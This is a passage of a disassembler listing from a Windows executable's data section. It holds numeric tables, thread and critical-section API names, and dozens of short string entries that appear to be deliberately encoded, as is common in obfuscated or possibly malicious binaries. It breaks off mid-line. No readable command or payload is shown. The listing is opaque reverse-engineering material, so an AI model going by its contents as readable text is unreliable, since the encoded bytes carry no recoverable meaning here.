dd 8D2A4C8Ah dword_5513A4 dd 0FFFA3942h, 8771F681h, 6D9D6122h, 0FDE5380Ch, 0A4BEEA44h ; DATA XREF: sub_43B045+52o dd 4BDECFA9h, 0F6BB4B60h, 0BEBFBC70h, 289B7EC6h, 0EAA127FAh dd 0D4EF3085h, 4881D05h, 0D9D4D039h, 0E6DB99E5h, 1FA27CF8h dd 0C4AC5665h dword_5513E4 dd 0F4292244h, 432AFF97h, 0AB9423A7h, 0FC93A039h, 655B59C3h ; DATA XREF: sub_43B045+65o dd 8F0CCC92h, 0FFEFF47Dh, 85845DD1h, 6FA87E4Fh, 0FE2CE6E0h dd 0A3014314h, 4E0811A1h, 0F7537E82h, 0BD3AF235h, 2AD7D2BBh dd 0EB86D391h off_551424 dd offset loc_44294B ; DATA XREF: sub_4427A1+1A3r dd offset loc_442956 dd offset loc_4429A7 dd offset loc_4429FD aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_444B66+331o aCreatethread db 'CreateThread',0 ; DATA XREF: sub_444B66+34Bo aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_444B66+35Eo aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_444B66+371o align 4 dword_551488 dd 0E1C40005h, 98B7E1B7h db 0 byte_551491 db 5, 0, 16h ; DATA XREF: sub_44757D+1E7o a3e3ej db '3e3eJ',0 word_55149A dw 3 ; DATA XREF: sub_44757D+B0o dd 41184E6Bh db 0 byte_5514A1 db 4, 0, 99h ; DATA XREF: sub_44757D+67o dd 0C5A3FABCh db 0 byte_5514A9 db 1, 0, 1Ch ; DATA XREF: sub_447336+1EFo db 60h, 0 word_5514AE dw 5Ah ; DATA XREF: sub_447336+DCo db 9 db 48h, 2 dup(6Ah) db 66h ; f db 7Ch, 67h, 7Dh db 29h ; ) db 47h, 68h, 64h db 6Ch ; l db 2Ah, 59h, 46h db 59h ; Y db 3Ah, 29h, 5Ah db 6Ch ; l db 7Bh, 7Fh, 6Ch db 7Bh ; { db 2Ah, 5Ah, 44h db 5Dh ; ] db 59h, 29h, 5Ah db 6Ch ; l db 7Bh, 7Fh, 6Ch aZdYMZyehpGhdlZ db '{*ZD]Y)M`zyehp)Ghdl*ZD]Y)Ldh`e)Hmm{lzz*YFY:)\zl{)Ghdl**',0 dword_55150C dd 0F2A2000Eh, 8291F2EDh, 0D1D1C3F2h, 0C6D0CDD5h db 90h, 0 word_55151E dw 39h ; DATA XREF: sub_447336:loc_447356o dd 333A2675h, 27342221h, 1C382930h, 61A0716h, 2901131Ah dd 10011B3Ch, 1101B07h, 16163455h, 11B001Ah, 1B143855h dd 7101214h, 16163429h, 11B001Ah, 45502906h db 4Dh, 0Dh, 0 byte_55155B db 5 ; DATA XREF: sub_446E8A+27Do dd 9FC9EC00h, 9FC9B0h dword_551564 dd 24010005h, 72245D72h db 0 byte_55156D db 4, 0, 84h ; DATA XREF: sub_446E8A+17o dd 0AED8F7A1h db 0 byte_551575 db 7, 0, 0E4h ; DATA XREF: sub_446E57+1Ao aCfcnkrv db '—”–Š‚',0 dword_551580 dd 0ACF30006h, 96969F80h db 83h, 0 word_55158A dw 4 ; DATA XREF: sub_4467C4+59Co dd 12175D73h db 7, 0 word_551592 dw 0Bh ; DATA XREF: sub_4467C4+545o aTxWLdd db 8,'Tx-}W-}&ldd',0 byte_5515A1 db 2, 0, 0A8h ; DATA XREF: sub_446555+14Ao db 2 dup(88h), 0 byte_5515A7 db 1 ; DATA XREF: sub_446555:loc_446659o dd 200F00h dword_5515AC dd 81EC0012h, 80988F9Fh, 989FB39Fh, 9F99988Dh, 0DF9E8D8Eh ; DATA XREF: sub_446555:loc_4465AFo db 0DEh, 0 word_5515C2 dw 0Eh ; DATA XREF: sub_446555+10o aAMpDgivObmuu db 'í¹Œº„ƒ‰‚š®Œ',0 dword_5515D4 dd 692F000Eh, 694B4146h, 5B5C5D46h, 4A434669haN: ; DATA XREF: sub_445E14+387o unicode 0, <n> dw 9 dw 0FDBBh dw 0D5D2h dd 0D4D7F8DFh db 0C8h, 0DEh, 0 byte_5515F3 db 0Dh ; DATA XREF: sub_445E14+372o dd 5B793E00h, 4C5B684Ah, 5051574Dh, 7F467Bh dword_551604 dd 0C2950013h, 0D6F0F1FCh, 0C1E7F4FDh, 0F9E0D8FAh, 0ECD7FCE1h ; DATA XREF: sub_445E14+35Do db 0E1h, 0F0h, 0 byte_55161B db 0Bh ; DATA XREF: sub_445E14+348o dd 60511200h, 77667377h, 777E7B54h db 53h, 0 word_55162A dw 0Bh ; DATA XREF: sub_445E14+333o dd 25300F40h, 2F32102Eh, 33332523h db 0 byte_551639 db 0Dh, 0, 0F9h ; DATA XREF: sub_445E14+31Eo aLnxgLcFcla db '«•£œ‹–´œ”–‹€',0 asc_55164A db 7,0 ; DATA XREF: sub_445E14+309o aEbitio db ',{EBiTIO',0 byte_551655 db 12h, 0, 0CEh ; DATA XREF: sub_445E14+2F4o aIlNLaJLpkzk db '‰«º»¼¼« ºš¦¼«¯ª‡ª',0 asc_55166B db 9,0 ; DATA XREF: sub_445E14+2DFo db 1Ah, 59h, 75h dd 735C636Ah, 5B7F76h dword_551678 dd 6320000Ch, 54414552h, 54556D45h, 615845hdword_551688 dd 0C98E0010h, 0E1CDFAEBh, 0FAFBFEE3h, 0EFC0FCEBh, 0CFEBE3h ; DATA XREF: sub_445E14+2B5o dword_55169C dd 184B000Eh, 220D3F2Eh, 241B2E27h, 2E3F2522h db 39h, 0 word_5516AE dw 13h ; DATA XREF: sub_445E14+28Bo dd 37260443h, 37303A10h, 2A072E26h, 37202631h, 23A312Ch db 0 byte_5516C5 db 0Dh, 0, 8Dh ; DATA XREF: sub_445E14+276o dd 0C9F9E8CAh, 0E8FBE4FFh, 0E8FDF4D9h db 0CCh, 0 word_5516D6 dw 0Ch ; DATA XREF: sub_445E14+261o dd 4C5D7F38h, 48555D6Ch, 504C5968h aY: ; DATA XREF: sub_445E14+24Co unicode 0, <y> dw 0Dh dw 0E6A1h dw 0D5C4h dd 0D5D2D8F2h, 0C8F5CCC4h db 0CCh, 0C4h, 0 byte_5516F7 db 15h ; DATA XREF: sub_445E14+237o dd 0DEFCBB00h, 0D7D4EDCFh, 0F2DED6CEh, 0C9D4DDD5h, 0D2CFDAD6h dd 0FAD5D4h dword_551710 dd 86C00014h, 94A5ACA9h, 94A5ADA9h, 0B3B993AFh, 94ADA5B4h ; DATA XREF: sub_445E14+222o dd 0A5ADA9h dword_551728 dd 337E0013h, 170A120Bh, 1B0A073Ch, 1729112Ah, 163D1B1Ah ; DATA XREF: sub_445E14+20Do db 1Fh, 0Ch, 0 byte_55173F db 14h ; DATA XREF: sub_445E14+1F8o dd 6B4C0500h, 69776071h, 606E666Ah, 66604161h, 60686077h db 6Bh, 71h, 0 byte_551757 db 9 ; DATA XREF: sub_445E14+1E3o dd 0BD9ED200h, 94BEB3B1h, 0B7B7A0h dword_551764 dd 0EFAB000Bh, 0DFCEC7CEh, 0C7C2EDCEh db 0CEh, 0EAh, 0 byte_551773 db 8 ; DATA XREF: sub_445E14+1B9o dd 3D224E00h, 2B223C3Ah db 20h, 19h, 0 byte_55177F db 0Ah ; DATA XREF: sub_445E14+1A4o dd 76551900h, 5875787Ah, 7A767575h db 0 byte_55178D db 0Bh, 0, 38h ; DATA XREF: sub_445E14+18Fo aJTqzjyja db '~J]]tQZJYJA',0 asc_55179C db 0Bh,0 ; DATA XREF: sub_445E14+17Ao a5rpasYpfOp db '5rPAs\YPf\OP',0 byte_5517AB db 0Ch ; DATA XREF: sub_445E14+165o dd 43B6D00h, 0C18191Fh, 1012C01h db 2, 0Eh, 0 byte_5517BB db 0Ch ; DATA XREF: sub_445E14+150o dd 0DAF8BF00h, 0DCD6EBCBh, 0CAD0FCD4h db 0D1h, 0CBh, 0 byte_5517CB db 0Dh ; DATA XREF: sub_445E14+13Bo dd 0C9E6A000h, 0C5EEC4CEh, 0C9E6D4D8h, 0E1C5CCh dword_5517DC dd 0E8A10014h, 0D3C4D5CFh, 0CAC2CECDh, 0CFE8C5C4h, 0CCC4D3C2h ; DATA XREF: sub_445E14+126o dd 0D5CFC4h dword_5517F4 dd 2E6D000Fh, 0C1D0002h, 42B081Fh, 4390801h db 0, 8, 0 byte_551807 db 13h ; DATA XREF: sub_445E14+FCo dd 7E481F00h, 70596B76h, 71764C6Dh, 507A7378h, 7C7A757Dh db 6Bh, 0 word_55181E dw 0Eh ; DATA XREF: sub_445E14+E7o aUilVbnpvlzaibp db 'î©‹š¢‚‹§€ˆ¯',0 dword_551830 dd 0B3F40013h, 81B78091h, 9A918686h, 9B86A480h, 87879197h ; DATA XREF: sub_445E14+D2o db 0BDh, 90h, 0 byte_551847 db 12h ; DATA XREF: sub_445E14+BDo dd 391B5C00h, 38331128h, 1A393029h, 12393035h, 1D39313Dh db 0 byte_55185D db 8, 0, 5Ch ; DATA XREF: sub_445E14+A8o dd 383D390Eh, 3930351Ah db 0 byte_551869 db 0Ah, 0, 0CAh ; DATA XREF: sub_445E14+93o aPGUvPlo db '²£¾¢¸¯«®',0 byte_551877 db 17h ; DATA XREF: sub_445E14+7Eo dd 89BDFB00h, 95BE9E9Eh, 9489928Dh, 959E9695h, 898FA88Fh dd 889C9592h db 0BAh, 0 word_551892 dw 11h ; DATA XREF: sub_445E14+69o dd 0DDCCEEA9h, 0DDC0D1ECh, 0CCCDC6EAh, 0CCDBC1FDh db 0C8h, 0CDh, 0 byte_5518A7 db 0Bh ; DATA XREF: sub_445E14+54o dd 714E1800h, 796D6C6Ah, 7D6A5E74h db 7Dh, 0 word_5518B6 dw 9 ; DATA XREF: sub_445E14+3Fo dd 12092C7Bh, 123D1E0Fh db 17h, 1Eh, 0 byte_5518C3 db 0Ch ; DATA XREF: sub_445E14+2Ao dd 53653600h, 44447342h, 597B4459h db 52h, 53h, 0 byte_5518D3 db 11h ; DATA XREF: sub_445E14+15o dd 0AB89CE00h, 0BDA78ABAh, 0ABBC88A5h, 0AFBE9DABh, 8FABADh dword_5518E8 dd 98DF0016h, 0B19AABBAh, 0B0ADB6A9h, 0B1BAB2B1h, 0ADAB8CABh ; DATA XREF: sub_445E14o dd 0ACB8B1B6h db 9Eh, 0 word_551902 dw 0Ch ; DATA XREF: sub_445BAD+16Bo a_noi_htW_ db ':}_NoI_Ht[W_{',0 word_551912 dw 15h ; DATA XREF: sub_445BAD+156o aZvmTingicPPkgb db 'Ƈ¢¬³µ²’©£¨–´¯°¯ª£¡£µ',0 byte_55192B db 12h ; DATA XREF: sub_445BAD+141o dd 0E3C18600h, 0E2EFD5F2h, 0C7E4F3D5h, 0E9EEF2F3h, 0FFF2EFF4h db 0 byte_551941 db 0Dh, 0, 22h ; DATA XREF: sub_445BAD+12Co aPgemrgligGzc db 'pGEmRGLiG[gZc',0 asc_551952 db 0Bh,0 ; DATA XREF: sub_445BAD+117o dd 63615604h, 776B6847h, 7D614F61h db 0 byte_551961 db 15h, 0, 0AAh ; DATA XREF: sub_445BAD+102o dd 0C1C5C5E6h, 0D8FADADFh, 0C6C3DCC3h, 0FCCFCDCFh, 0CFDFC6CBh db 0EBh, 0 word_55197A dw 10h ; DATA XREF: sub_445BAD+EDo aUb@vrbuQfkrbb_ db 27h,'uB@vRBU^qFKRBb_f',0 word_55198E dw 19h ; DATA XREF: sub_445BAD+D8o dd 60714714h, 61777147h, 6D607D66h, 77677150h, 60647D66h dd 7550667Bh db 77h, 78h, 0 byte_5519AB db 1Ch ; DATA XREF: sub_445BAD+C3o dd 40672E00h, 4F475A47h, 4B544742h, 5B4D4B7Dh, 575A475Ch dd 4D5D4B6Ah, 5A5E475Ch db 41h, 5Ch, 0 byte_5519CB db 10h ; DATA XREF: sub_445BAD+AEo dd 88B7F800h, 8AA8969Dh, 8B9D9B97h, 9397AC8Bh db 9Dh, 96h, 0 byte_5519DF db 10h ; DATA XREF: sub_445BAD+99o dd 7B4D1E00h, 7277586Ah, 7D7B4D7Bh, 6A776C6Bh db 67h, 5Fh, 0 byte_5519F3 db 19h ; DATA XREF: sub_445BAD+84o dd 0EAC88F00h, 0EBE6DCFBh, 0E1EAEBC6h, 0E6E9E6FBh, 0FACEFDEAh dd 0FDE0E7FBh, 0F6FBE6h dword_551A10 dd 7A3D0017h, 546E4958h, 5F486E59h, 5549487Ch, 49544F52h ; DATA XREF: sub_445BAD+6Fo dd 48527E44h db 53h, 49h, 0 byte_551A2B db 13h ; DATA XREF: sub_445BAD+5Ao dd 9DBFF800h, 9397AC8Ch, 96B1969Dh, 958A979Eh, 97918C99h db 96h, 0 word_551A42 dw 1Ah ; DATA XREF: sub_445BAD:loc_445BF2o dd 8190A6F5h, 809690A6h, 8C819C87h, 968690B1h, 81859C87h dd 82BA879Ah, 87909Bh dword_551A60 dd 4322000Ch, 52435446h, 0C10114Bh, 4E4E46hdword_551A70 dd 0C3A2000Ch, 0D2C3D4C6h, 8C9091CBh, 0CECEC6hdword_551A80 dd 0D80000h dword_551A84 dd 86FE0001h db 0 byte_551A89 db 1, 0, 58h ; DATA XREF: sub_444FE7:loc_4454F8o db 78h, 0 word_551A8E dw 0 ; DATA XREF: sub_444FE7+4C8o db 0C3h, 0 word_551A92 dw 13h ; DATA XREF: sub_444FE7+4A2o dd 6E615A0Fh, 2F6A636Dh, 6E2F607Bh, 60677B7Ah, 6A75667Dh db 0 byte_551AA9 db 35h, 0, 65h ; DATA XREF: sub_444FE7+492o db 30h ; 0 db 0Bh, 4, 7 db 9 align 2 dw 1145h db 0Ah db 45h, 4, 10h db 11h db 0Dh, 0Ah, 17h db 0Ch db 1Fh, 0, 45h aHe771e5Ke5 db 'HE,+&*77 &1E5,+KE5',9,0 dd 49001604h, 170A0645h, 11060017h db 4Bh, 0 word_551AE2 dw 1 ; DATA XREF: sub_444FE7:loc_4452C2o db 9, 24h, 0 byte_551AE7 db 1Eh ; DATA XREF: sub_444FE7+28Co dd 320E5E00h, 3B2D3F3Bh, 3B2D7E72h, 2A3D3B32h, 2E261B7Eh dd 2A3F2C37h, 7E303137h, 2C3F3B07h db 0 byte_551B09 db 1, 0, 0CAh ; DATA XREF: sub_444FE7:loc_44520Bo db 0EAh, 0 word_551B0E dw 1Fh ; DATA XREF: sub_444FE7+1CFo aFibeBsfBibzFbN db 'Ä”¨¡¥·¡èä·¡¨¡§°ä¼´¶¥°«ªä‰«ª°¬',0 byte_551B31 db 4, 0, 1 ; DATA XREF: sub_444A91+68o a19y db '$19Y',0 asc_551B39 db 0Ah,0 ; DATA XREF: sub_444A15+30o db 0DFh dd 80BCB9ACh, 0BBF1ACB0h db 2 dup(0B3h), 0 byte_551B47 db 0Ah ; DATA XREF: sub_444A15+1o dd 0CCD9AA00h, 0D9C5F5C9h, 0C6C6CE84h db 0 byte_551B55 db 4, 0, 0Fh ; DATA XREF: sub_444970+6Fo aW db '*!=W',0 byte_551B5D db 1, 0, 96h ; DATA XREF: sub_444970:loc_4449CDo db 0B3h, 0 word_551B62 dw 2 ; DATA XREF: sub_444970:loc_4449AEo dd 266045h dword_551B68 dd 1C270003h db 48h, 1Ah, 0 byte_551B6F db 4 ; DATA XREF: sub_4441D8:loc_4444ABo dd 0ACE4DF00h db 0B0h, 0E2h, 0 byte_551B77 db 4 ; DATA XREF: sub_4441D8:loc_444461o dd 83DCE700h db 0DAh, 0C6h, 0 byte_551B7F db 4 ; DATA XREF: sub_4441D8+248o dd 59063D00h, 1700h dword_551B88 dd 3, 32007Bh, 3C0036h db 2 dup(0) word_551B96 dw 17h ; DATA XREF: sub_443F7C:loc_44418Fo dd 16501633h, 16501650h, 50161E50h, 2 dup(50165016h), 5E5C501Dh db 0 byte_551BB1 db 16h, 0, 15h ; DATA XREF: sub_443F7C+1CDo a0v0v0v0v0v80v0 db '0v0v0v0v0v80v0v0v0v;g`',0 byte_551BCB db 10h ; DATA XREF: sub_443F15:loc_443F5Do dd 0CDD68500h, 0C3F1E0C2h, 0E0E1E9EAh, 0F1E4D5F7h db 0EDh, 0C4h, 0 byte_551BDF db 0Bh ; DATA XREF: sub_443F15+31o dd 11A6900h, 5A05050Ch, 50D475Bh db 5, 0 word_551BEE dw 0Bh ; DATA XREF: sub_443F15+1o aJzi db 'µÆİĞÙÙ†‡›ÑÙÙ',0 byte_551BFD db 1, 0, 59h ; DATA XREF: sub_44300F+DCBo db 25h, 0 word_551C02 dw 2 ; DATA XREF: sub_44300F+D9Fo dd 0C29EBEh dword_551C08 dd 457F0001h db 0 byte_551C0D db 4, 0, 37h ; DATA XREF: sub_44300F:loc_443CCDo dd 0D421217h db 0 byte_551C15 db 1, 0, 9Fh ; DATA XREF: sub_44300F+771o db 0E3h, 0 word_551C1A dw 0Ah ; DATA XREF: sub_44300F+539o dd 0F9839FBFh, 85F2EDF0h, 81CA9Ah dword_551C28 dd 0E6C6000Bh, 879480FAh, 0E3FC838Bh db 0B3h, 0F8h, 0 byte_551C37 db 0Ah ; DATA XREF: sub_44300F+33Eo dd 829EBE00h, 0F3FFECF8h, 80F384FBh, 0 dword_551C48 dd 5, 0B000C6h, 0AA00A7h, 0A300B3h, 0dword_551C5C dd 4, 0C500ABh, 0C600CAh, 0CEhdword_551C6C dd 0EB0000h dword_551C70 dd 0D8FD0004h, 0A1C79Ehdword_551C78 dd 85A00006h, 0F8858DF8h db 81h, 0 word_551C82 dw 7 ; DATA XREF: sub_442A78+63o aCSxpzz db 'Ë—»á寧§',0 align 10h asc_551C90: ; DATA XREF: sub_4423A6+26Fo dw 9 unicode 0, <>,0 aM db 'Œ',0 aU db 'î',0 aS db 'é',0 db 'ê',0 aU_0 db 'ã',0 dw 0FEh dd 0C900E9h, 0E800E2h db 2 dup(0) word_551CAA dw 20h ; DATA XREF: sub_4423A6+1F2o aISSsiGqqiSGSAU db 'ëΘ˘™ˆÖƒŸŸ›ÑÄÄΘԃÖΘÍÖÎÍ›ÖΘÕ',0 aC db 'C',0 ; DATA XREF: sub_4423A6+156o aZvZAiivSVBVVBV db '§‚Ô‡ÔÕÄšÏÓÓ׈ˆ‚ԘϚ‚ÔΚ‚Ò‚ÔÈš‚ÒÁš‚ÄÔΚ‚ÔÔÈš‚ÒÓËš‚ÒÑš‚ÒÚ' db '‚Ô™',0 byte_551D15 db 10h, 0, 46h ; DATA XREF: sub_4423A6+E4o aC5f54C5iyCX db 'c5f54%{c5iy {c%x',0 byte_551D29 db 1Eh, 0, 1Fh ; DATA XREF: sub_4423A6+92o aVrx?hvKw?wzvxw db '#vrx?hv{kw"/?wzvxwk"/?}pm{zm"/',0 asc_551D4B db 7,0 ; DATA XREF: sub_4423A6+61o db 0F2h, 0CEh, 90h aR db 'ÌÎİÌ',0 asc_551D56 db 0Ah,0 ; DATA XREF: sub_44234E+3Fo dd 0D4C1FEB1h, 0C5C4FCDFh, 0F0C9D4h dword_551D64 dd 0E1AD000Ch, 0E1C9CCC2h, 0CCDFCFC4h, 0ECD4DFhdword_551D74 dd 5D1E000Bh, 7B6D7172h, 7A707F56h db 72h, 7Bh, 0 byte_551D83 db 10h ; DATA XREF: sub_44234Eo dd 9BB9FE00h, 9A91B38Ah, 0B69B928Bh, 929A909Fh db 9Bh, 0BFh, 0 byte_551D97 db 40h ; DATA XREF: sub_4421CF:loc_442207o dd 0D4D79600h, 0D0D3D2D5h, 0DCDFDED1h, 0D8DBDADDh, 0C4C7C6D9h dd 0C0C3C2C5h, 0CCCFCEC1h, 0F2F5F4F7h, 0FEF1F0F3h, 0FAFDFCFFh dd 0E6F9F8FBh, 0E2E5E4E7h, 0EEE1E0E3h, 0A7A6ECEFh, 0A3A2A5A4h dd 0AFAEA1A0h db 0BDh, 0B9h, 0 byte_551DDB db 0Ah ; DATA XREF: sub_441EAC+22Bo dd 0BF9DD000h, 0B987B5A6h, 0A7BFB4BEh db 0 byte_551DE9 db 0Eh, 0, 0F6h ; DATA XREF: sub_441EAC+216o aUvbqstsbSss db '±“‚¡Ÿ˜’™º™˜‘·',0 byte_551DFB db 0Eh ; DATA XREF: sub_441EAC+201o dd 6B490E00h, 6067597Ah, 5A79616Ah, 4F7A766Bh db 0 byte_551E0D db 0Eh, 0, 83h ; DATA XREF: sub_441EAC+1ECo dd 0D4F7E6D0h, 0ECE7EDEAh, 0FBE6D7F4h db 0F7h, 0C2h, 0 byte_551E1F db 8 ; DATA XREF: sub_441EAC+1D7o dd 0C3F5A600h, 0CBCFF2D2h db 0C3h, 0D4h, 0 byte_551E2B db 0Fh ; DATA XREF: sub_441EAC+1C2o dd 44662500h, 4C724949h, 524A414Bh, 464A5775h db 64h, 0 word_551E3E dw 0Bh ; DATA XREF: sub_441EAC+1ADo dd 25331B56h, 33313725h, 172E3914h db 0 byte_551E4D db 8, 0, 86h ; DATA XREF: sub_441EAC+198o dd 0C0F2E3D5h, 0F5F3E5E9h db 0 byte_551E59 db 0Fh, 0, 7Eh ; DATA XREF: sub_441EAC+183o dd 1F1B0C3Dh, 17291B0Ah, 9111A10h, 3F063Bh dword_551E6C dd 0EEBD000Eh, 0D4EAC9D8h, 0CAD2D9D3h, 0DAD3D2F1h ; DATA XREF: sub_441EAC+16Eo db 0FCh, 0 word_551E7E dw 0Dh ; DATA XREF: sub_441EAC+159o dd 9691BEF8h, 9691AF9Ch, 0BD8F979Ch db 80h, 0B9h, 0 byte_551E8F db 12h ; DATA XREF: sub_441EAC+144o dd 9EB5F000h, 95B49D85h, 9F849B83h, 9E99A780h, 83879F94h db 0 byte_551EA5 db 0Dh, 0, 87h ; DATA XREF: sub_441EAC+12Fo dd 0F3F4E2C3h, 0D0FEE8F5h, 0E8E3E9EEh db 0F0h, 0 word_551EB6 dw 0Eh ; DATA XREF: sub_441EAC+11Ao aPonVepdIDik db 'Ë®œ¢¥¯¤¼›¹¤¨Š',0 dword_551EC8 dd 0AEFA0010h, 89949B88h, 9F8E9B96h, 89899FB7h, 9F9D9Bh ; DATA XREF: sub_441EAC+105o dword_551EDC dd 1C5B000Dh, 37182F3Eh, 1528283Ah, 1A3E363Ah db 0 byte_551EED db 0Ch, 0, 0C4h ; DATA XREF: sub_441EAC+DBo aCbkaibEgbe db '—¡ª ‰¡··¥£¡…',0 byte_551EFD db 0Eh, 0, 8Eh ; DATA XREF: sub_441EAC+C6o dd 0E7E9EBDCh, 0FCEBFAFDh, 0FDEFE2CDh db 0FDh, 0CFh, 0 byte_551F0F db 0Bh ; DATA XREF: sub_441EAC+B1o dd 0F5D79000h, 0E3F5DDE4h, 0F5F7F1E3h db 0D1h, 0 word_551F1E dw 0Dh ; DATA XREF: sub_441EAC+9Co dd 0FFEECC8Bh, 0EFE5E2DCh, 0EED9FCE4h db 0E8h, 0FFh, 0 byte_551F2F db 13h ; DATA XREF: sub_441EAC+87o dd 3F1D5A00h, 28351C2Eh, 35283D3Fh, 0D3E342Fh, 353E3433h db 2Dh, 0 word_551F46 dw 0Ah ; DATA XREF: sub_441EAC+72o dd 76714A19h, 77704E6Eh, 6E767Dh dword_551F54 dd 0BEFA0010h, 9B8A8993h, 0B792998Eh, 9B89899Fh, 0BB9F9Dh ; DATA XREF: sub_441EAC+5Do dword_551F68 dd 4430009h, 2A143726h, 342C272Dh db 0 byte_551F75 db 0Ah, 0, 87h ; DATA XREF: sub_441EAC+31o dd 0F5E2F4F2h, 0E3A9B5B4h db 2 dup(0EBh), 0 byte_551F83 db 0Ah ; DATA XREF: sub_441EAC+1o dd 32344100h, 73723324h, 2D2D256Fh db 0 byte_551F91 db 0Ch, 0, 1Bh ; DATA XREF: sub_441DD6+B5o aMzirzuoxwZi db 'MzirzuoXw~zi',0 asc_551FA1 db 0Dh,0 ; DATA XREF: sub_441DD6+99o aITsnsooQsvem db '븒˜™¸Ÿ™‚…Œ',0 word_551FB2 dw 0Ch ; DATA XREF: sub_441DD6+7Do aCAgfZgB db 'Ó—º £”¶§ƒ²¡²¾',0 asc_551FC2 db 0Bh,0 ; DATA XREF: sub_441DD6+61o aEBZZ db 'Ó…²¡º²½§š½º§',0 byte_551FD1 db 0Eh, 0, 8 ; DATA XREF: sub_441DD6:loc_441E1Bo aQIddgkZafo db '[q{Iddgk[|zafo',0 byte_551FE3 db 0Ch ; DATA XREF: sub_441DD6+2Eo dd 0EDEE8100h, 0F5F4E0E4h, 0E5AFB3B2h db 2 dup(0EDh), 0 byte_551FF3 db 0Ch ; DATA XREF: sub_441DD6+1o dd 74771800h, 6C6D797Dh, 7C362A2Bh db 2 dup(74h), 0 byte_552003 db 1 ; DATA XREF: sub_441D71+2Co dd 257900h dword_552008 dd 7C59000Fh, 3F3D052Ah, 232C7C35h, 3D776B6Ah db 2 dup(35h), 0 byte_55201B db 0Bh ; DATA XREF: sub_441AE5+C9o dd 83D5F000h, 0D583D5ACh, 9C9EDE85h db 83h, 0 word_55202A dw 0Fh ; DATA XREF: sub_441AE5+A6o dd 133C6A4Fh, 3A6A2924h, 7D7C3523h, 23232B61h db 0 byte_55203D db 10h, 0, 20h ; DATA XREF: sub_441AE5+5Fo dd 577C5305h, 55055253h, 1213545Ah, 4C4C440Eh db 0 byte_552051 db 5, 0, 0EEh ; DATA XREF: sub_440485+81Do aKpP db 'ÀŠš',0 asc_55205A db 0Bh,0 ; DATA XREF: sub_44018C+D4o dd 1C2A1059h, 35382C28h, 1D100C1Eh db 0 byte_552069 db 0Dh, 0, 8Ch ; DATA XREF: sub_44018C+B8o dd 0EDD8E3CFh, 0E9C1E7FFh, 0E9FECAE1h db 0E9h, 0 word_55207A dw 0Ch ; DATA XREF: sub_44018C+9Co dd 3B1D3172h, 1B061B1Ch, 81B1E13h db 17h, 0 word_55208A dw 0Fh ; DATA XREF: sub_44018C+80o dd 0CFD0DF9Ch, 0EEDAD8D5h, 0E8CFF1F3h, 0FBF2F5EEh db 0 byte_55209D db 0Eh, 0, 0Fh ; DATA XREF: sub_44018C+64o aLZafafFncfuj db 'L`Zafaf{fncfuj',0 byte_5520AF db 10h ; DATA XREF: sub_44018C:loc_4401D4o dd 2D014200h, 23273001h, 2C0B2736h, 2C233631h db 21h, 27h, 0 byte_5520C3 db 9 ; DATA XREF: sub_44018C+31o dd 14177800h, 564A4B1Dh, 14141Ch dword_5520D0 dd 4A250009h, 17164049h, 4949410Bh db 0 byte_5520DD db 5, 0, 74h ; DATA XREF: sub_43FF3A+1FBo aQQ db 'Q',7,'(Q',7,0 word_5520E6 dw 5 ; DATA XREF: sub_43FF3A+176o dd 406F391Ch db 39h, 6Fh, 0 byte_5520EF db 4 ; DATA XREF: sub_43FF3A+Fo dd 0AAFCD900h db 85h, 0F3h, 0 byte_5520F7 db 18h ; DATA XREF: sub_43FCCD+1D9o dd 75431000h, 757B7144h, 757E675Fh, 79786362h, 79624060h dd 757C7966h db 77h, 75h, 0 byte_552113 db 1 ; DATA XREF: sub_43FC04+51o dd 2B7700h dword_552118 dd 29420006h, 346F3329h db 3Ah, 0 word_552122 dw 8 ; DATA XREF: sub_43FB57:loc_43FB74o dd 6D411732h, 174A465Fh db 47h, 0 word_55212E dw 1 ; DATA XREF: sub_43F79F+43o db 82h, 0D7h, 0 byte_552133 db 1 ; DATA XREF: sub_43F79F+2Co dd 85E00h dword_552138 dd 30600014h, 120F1433h, 5122305h, 29051401h, 114130Eh ; DATA XREF: sub_43F26D:loc_43F2ACo dd 5030Eh dword_552150 dd 6818000Bh, 6A776C6Bh, 7C367B7Dh db 2 dup(74h), 0 byte_55215F db 0Bh ; DATA XREF: sub_43F26D+1o dd 1C1F6F00h, 0A1D001Bh, 30B410Ch db 3, 0 word_55216E dw 0Dh ; DATA XREF: sub_43F031:loc_43F1F6o db '´ÇÍÇÀÑÙÄÆÛÒİØÑ',0 byte_55217F db 6 ; DATA XREF: sub_43F031+186o dd 293E5B00h, 3E38322Dh db 0 byte_552189 db 1, 0, 26h ; DATA XREF: sub_43F031+FBo db 2, 0 word_55218E dw 8 ; DATA XREF: sub_43F031:loc_43F0D2o dd 70661535h, 767C6367h db 70h, 0 word_55219A dw 6 ; DATA XREF: sub_43F031:loc_43F098o aJmjbrs db 'Õ†Œ†˜',0 asc_5521A4 db 9,0 ; DATA XREF: sub_43EA2A+20Co dw 1141h a3_45 db '3.%4"5',8,'%',0 asc_5521B1 db ',',0 ; DATA XREF: sub_43EA2A+1FCo db 49h dd 1D0F061Ah, 0C1B081Eh, 2A200415h, 263A263Bh, 1E153D2Fh dd 262D2720h, 7693A3Eh, 3C0A151Dh, 272C3B3Bh, 3B2C1F3Dh dd 2726203Ah db 0 byte_5521E1 db 9, 0, 77h ; DATA XREF: sub_43EA2A+19Do dd 13180527h, 3E031402h db 13h, 0 word_5521EE dw 29h ; DATA XREF: sub_43EA2A+18Do dd 0CFC6DA89h, 0DBC8DEDDh, 0E0C4D5CCh, 0FAE6FBEAh, 0D5FDEFE6h dd 0EDE7E0DEh, 0D5FAFEE6h, 0FBFBFCCAh, 0DFFDE7ECh, 0E0FAFBECh db 0E6h, 0E7h, 0 byte_55221B db 1 ; DATA XREF: sub_43EA2A+171o dd 0C8E600h dword_552220 dd 210C0004h, 225429hdword_552228 dd 0E3800003h db 0BAh, 0DCh, 0 byte_55222F db 8 ; DATA XREF: sub_43EA2A:loc_43EAB3o dd 1C4C6900h, 471C4C47h db 4Ch, 1Ch, 0 byte_55223B db 12h ; DATA XREF: sub_43E9BF+4Co dd 89BCEF00h, 0A99CA68Ch, 0BF8A8386h, 8A9B809Dh, 8B8A9B8Ch db 0 byte_552251 db 7, 0, 28h ; DATA XREF: sub_43E9BF+28o dd 64B4E5Bh, 44444Ch dword_55225C dd 0B1C20007h, 0A6ECA1A4h db 2 dup(0AEh), 0 byte_552267 db 6 ; DATA XREF: sub_43E491+2AFo dd 9B9BF000h, 8886DD81h db 0 byte_552271 db 6, 0, 